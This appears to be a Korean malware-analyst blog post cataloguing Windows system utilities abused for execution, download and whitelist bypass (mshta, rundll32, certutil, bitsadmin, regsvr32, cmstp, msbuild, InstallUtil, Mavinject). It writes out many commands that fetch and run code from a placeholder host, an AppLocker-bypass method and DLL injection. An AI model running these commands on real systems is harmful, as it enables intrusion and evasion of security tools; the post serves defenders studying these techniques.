0. 개요

1. 명령어 실행

2. 스크립트 실행

3. 파일 실행

4. 다운로드

5. 컴파일

6. 기타





0. 개요

  cmd 외에도 여러 시스템 유틸리티가 악성 행위에 사용될 수 있다. 여러 자료들을 참고하여 정리하였고, 이후 추가 사항이 있을 시 더 보충하도록 하겠다.





1. 명령어 실행

1.1 cmd.exe

  생략.



1.2 powershell.exe

  생략.



1.3 wmic.exe

  따로 정리할 예정이므로 간략히만 정리한다.

> process call create "cmd.exe /c calc"


  다음 링크와 같이 xsl 파일을 서버에 생성한 후 아래의 명령어로 실행시키는 방식이 있다. [ https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl ] 특징이라면 명령어에서 xsl 확장자를 받아야 하는데 이 확장자가 흔하지는 않는다는 것이며 따라서 서버에서도 xsl 확장자 형태로 존재해야 한다는 점이다.

> wmic os get /format:http://www.aaa.com/data/aaa.xsl



1.4 forfiles.exe

  파일들을 선택하고 실행시키는데 사용되는 프로그램이라고 한다. 옵션의 자세한 방식은 모르겠지만 예제와 같이 사용하는 것이 가장 좋은것 같다. 마지막 calc.exe 대신 cmd 등의 실제 명령어가 들어가면 될 것이다.

> forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe


  forfiles 자체는 현재 디렉터리의 모든 파일을 보여준다. /p 옵션을 통해서 특정 디렉터리를 지정할 수 있다. /m 옵션은 잘 모르겠는 것이 /c calc.exe를 빼고 실행하니 system32 디렉터리에서 찾은 "notepad.exe" 문자열만을 보여주는 것 같은데 문제는 이 "/m notepad.exe"가 꼭 필요한 것 같지 않아서 빼고 실행했더니 calc.exe를 무한 실행시킨다. 이유는 모르겠으나 저렇게 사용해야 할 것으로 보인다.





2. 스크립트 실행

  다음 링크 참조 [ http://sanseolab.tistory.com/41 ]


2.1 wscript.exe  /  cscript.exe

  JS, VBS 등의 스크립트 파일 더블 클릭 시 디폴트로 실행되어 해당 스크립트를 실행시켜주는 프로그램이다.



2.2 mshta.exe

  일반적으로 .hta 파일을 실행시키는데 사용된다. 

> mshta.exe aaa.hta


  이외에도 직접 VBS나 JS 코드를 실행시킬 수도 있다.

> mshta.exe vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")

> mshta.exe javascript:alert('test');





3. 파일 실행

3.1 msiexec.exe

  설치 파일인 .msi 파일을 실행시키면 msiexec.exe가 인스톨러 역할을 하여 설치가 진행된다. 추가 기능은 [ 4.1 항목 ] 참조

> msiexec.exe /i "aaa.msi"



3.2 rundll32.exe

  일반적으로 dll 파일을 실행시키는데 사용된다. 참고로 DLL 이름과 반점 이후 호출할 함수명을 쓸 때 띄어쓰기 없이 붙여야 실행이 가능하다. 그리고 함수명 대신 Ordinal 번호로 호출할 경우 #1 형태로 사용 가능하다.

> rundll32.exe aaa.dll,DllMain

> rundll32.exe aaa.dll,#1


  이외에도 자바스크립트를 실행시키는 방식도 최근 악용되고 있다.

> rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('test');


  그리고 조금 더 수정해서 다운로더 형태로도 만들 수 있다.

> Rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject('script:http://aaa.com/data/aaa');



3.3 control.exe

  control.exe는 제어판 프로그램이며, 이유는 모르겠지만 DLL 실행이 가능하다. [ https://www.dearbytes.com/blog/playing-around-with-nsa-hacking-tools/ ]

> control.exe aaa.dll



3.4 InstallUtil.exe

  다른 용도보다는 Whitelist Bypass에 사용될 수 있다. Whitelist Bypass란 정상적으로 사인된 코드에서 실행됨으로써 보안 솔루션의 탐지를 회피하는 기법이다.


  csc.exe와 같이 사용되는데, 먼저 악성코드를 실행시킬 목적의 소스 코드를 제작한 후 csc.exe를 컴파일한다. 이후 컴파일된 실행 파일을 InstallUtil.exe로 실행시키는 방식이다. [ https://www.attackiq.com/blog/2018/05/21/application-whitelist-bypass/ ]

> csc.exe test.cs

> InstallUtil.exe /U test.exe





4. 다운로드

4.1 msiexec.exe

  .msi 파일이 꼭 로컬에 위치할 필요 없이 웹 서버에 올라와 있더라도 다운로드 후 설치가 진행된다. 다음 링크 참조 [ http://sanseolab.tistory.com/65 ]

> msiexec.exe /i "http://www.aaa.com/data/aaa.msi"



4.2 certutil.exe

  certutil -urlcache -split -f [URL] [output-file]

> certutil -urlcache -split -f "http://www.aaa.com/data/aaa.exe" "aaa.exe"


  또는 -decode 옵션을 통해 Base64 디코딩이 가능한 특징을 이용할 수도 있다. 즉 Base64로 인코딩된 PE를 다운로드 받은 후 디코딩까지 가능한 것이다.


> certutil.exe -urlcache -split -f "https://www.aaa.com/data/aaa.txt" bbb.txt

> certutil.exe -decode bbb.txt ccc.exe



4.3 bitsadmin.exe

  bitsadmin /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]

> bitsadmin /transfer /download /priority HIGH "http://www.aaa.com/data/aaa.exe" "aaa.exe"



4.4 regsrv.exe

  다음 링크를 보면 외부 서버에 JScript를 포함한 sct 파일을 두고 아래의 명령어를 통해 실행시킨다. sct 파일은 링크의 예제와 같은 형태를 띄며 JScript나 VBScript를 포함할 수 있다. 그리고 scrobj.dll(Windows Script Component Runtime)은 윈도우에서 스크립트를 담당하는 엔진이라고 할 수 있다. [ https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ ]


> regsvr32.exe /s /u /i:http://www.aaa.com/data/aaa.sct scrobj.dll



4.5 cmstp.exe

  inf 파일을 만들고 내부에 url을 등록한다. 해당 url은 regsrv와 비슷하게 sct 파일이 들어있다. inf 파일 설정 예제는 다음과 같다. [ https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80 ]


  참고로 sct 파일 외에도 DLL 파일도 가능하다. [ https://pentestlab.blog/2018/05/10/applocker-bypass-cmstp/ ]


> cmstp.exe /s cmstp.inf





5. 컴파일

5.1 csc.exe

  .NET 컴파일러로서 닷넷 소스 코드를 생성한 후 이것을 가지고 바이너리를 만들고 실행할 경우 직접 바이너리를 다운로드 받을 필요가 없어진다.


> csc.exe /out:output.exe input.cs


  이것은 생성까지만이고 InstallUtil.exe와 같이 사용될 수 있다. 해당 항목 참조.


  굳이 위와 같이 간단하게 사용하는 것 보다 약간 응용한 방식도 존재한다. 먼저 다음과 같이 실행된다.


csc.exe /noconfig /fullpaths "aaa.cmdline"


  aaa.cmdline이라는 파일을 확인해 보면 여러 설정들이 들어있는 것을 볼 수 있다.


/t:library /utf8output /R:"System.Management.dll" /R:"System.dll" /R:"System.Drawing.dll" /R:"System.Core.dll" /out:"경로\bbb.dll" /D:DEBUG /debug+ /optimize- /optimize+ /platform:X86 /debug+ /target:winexe  "경로\ccc.cs"



5.2 msbuild.exe

  xml 파일 내에 인라인으로 악성 코드를 작성한다. 참고로 언어는 C#이며 미미카츠의 경우처럼 실제 악성 행위를 하는 부분은 셸코드로 작성할 수도 있다. 어쨌든 exe 형태가 아닌 xml 형태로 존재하게 되며 이후 msbuild.exe의 인자로 작성한 xml 파일을 넣으면 해당 코드가 실행된다. 다음은 예제 코드이며 직접 코드를 수정하여 테스트할 수 있다. 미미카츠에서 사용된 셸코드 형태도 검색하면 쉽게 찾을 수 있을 것이다.

[ https://gist.github.com/Arno0x/e2b63b5d868d54724123f31cc39e4b21 ]


> msbuild.exe test.xml





6. 기타

6.1 SyncAppvPublishingServer.exe

  다음은 더 찾아본 후 테스트해 볼 예정이다. [ https://safe-cyberdefense.com/malware-can-use-powershell-without-powershell-exe/ ]


> SyncAppvPublishingServer.exe "Break; Start-Process Calc.exe"



6.2 winrm.exe

  디폴트로 enabled되어 있지 않으므로 생략한다.



6.3 odbcconf.exe

  더 찾아본 후 테스트해 볼 예정이다.


> odbcconf /s /a {regsvr \\www.aaa.com/data/aaa.exe}



6.4 regasm.exe  /  regsvc.exe

  더 찾아본 후 테스트해 볼 예정이다.


> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\www.aaa.com/data/aaa.exe



6.5 Mavinject.exe

  실행 중인 프로세스에 DLL은 인젝션할 수 있게 해준다. 해당 파일이 존재하지 않아서 테스트를 해보지 못했다.


> MavInject.exe <PID> /INJECTRUNNING <PATH DLL>



'악성코드 분석' 카테고리의 다른 글

[Tool] ejExtractor  (0) 2018.12.10
윈도우의 서비스  (0) 2018.11.03
윈도우의 작업 스케줄링 및 기타  (1) 2018.09.30
GCC 사용법  (0) 2018.07.19
Visual Basic 6.0 바이너리 분석  (0) 2018.06.03
Posted by SanseoLab

블로그 이미지
Malware Analyst
SanseoLab

태그목록

공지사항

Yesterday
Today
Total

달력

 « |  » 2024.4
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

최근에 올라온 글

최근에 달린 댓글

글 보관함